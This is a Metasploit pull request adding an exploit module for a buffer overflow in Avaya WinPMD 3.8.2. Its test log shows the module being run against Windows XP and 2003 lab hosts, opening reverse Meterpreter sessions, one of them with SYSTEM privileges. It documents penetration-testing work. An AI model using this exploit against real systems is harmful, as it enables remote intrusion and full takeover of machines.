rapid7/metasploit-framework — pull request #870 by jvazquez-r7 (2012-10-07 10:07:34+00:00)
Title: added module for avaya winpmd bof, osvdb 73269

Tested successfully on Avaya WinPMD 3.8.2:

* Windows XP SP3
* Windows 2003 SP2 (msvcrt rop chain used). I've not used Ropdb because of badchars.

Test:

msf > use exploit/windows/misc/avaya_winpmd_unihostrouter
msf exploit(avaya_winpmd_unihostrouter) > set RHOST 192.168.1.147
RHOST => 192.168.1.147
msf exploit(avaya_winpmd_unihostrouter) > show options

Module options (exploit/windows/misc/avaya_winpmd_unihostrouter):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.147 yes The target address
RPORT 3217 yes The target port

Exploit target:

Id Name
-- ----
0 Avaya WinPMD 3.8.2 / Windows XP SP3

msf exploit(avaya_winpmd_unihostrouter) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.147:3217 - Trying to exploit Avaya WinPMD 3.8.2 / Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1332) at 2012-10-07 12:02:13 +0200

meterpreter > getuid
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed. Reason: User exit
msf exploit(avaya_winpmd_unihostrouter) > set target 1
target => 1
msf exploit(avaya_winpmd_unihostrouter) > set RHOST 192.168.172.136
RHOST => 192.168.172.136
msf exploit(avaya_winpmd_unihostrouter) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.172.136:3217 - Trying to exploit Avaya WinPMD 3.8.2 / Windows 2003 SP2...
[*] Sending stage (752128 bytes) to 192.168.1.128
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.128:59330) at 2012-10-07 12:02:33 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed. Reason: User exit
msf exploit(avaya_winpmd_unihostrouter) >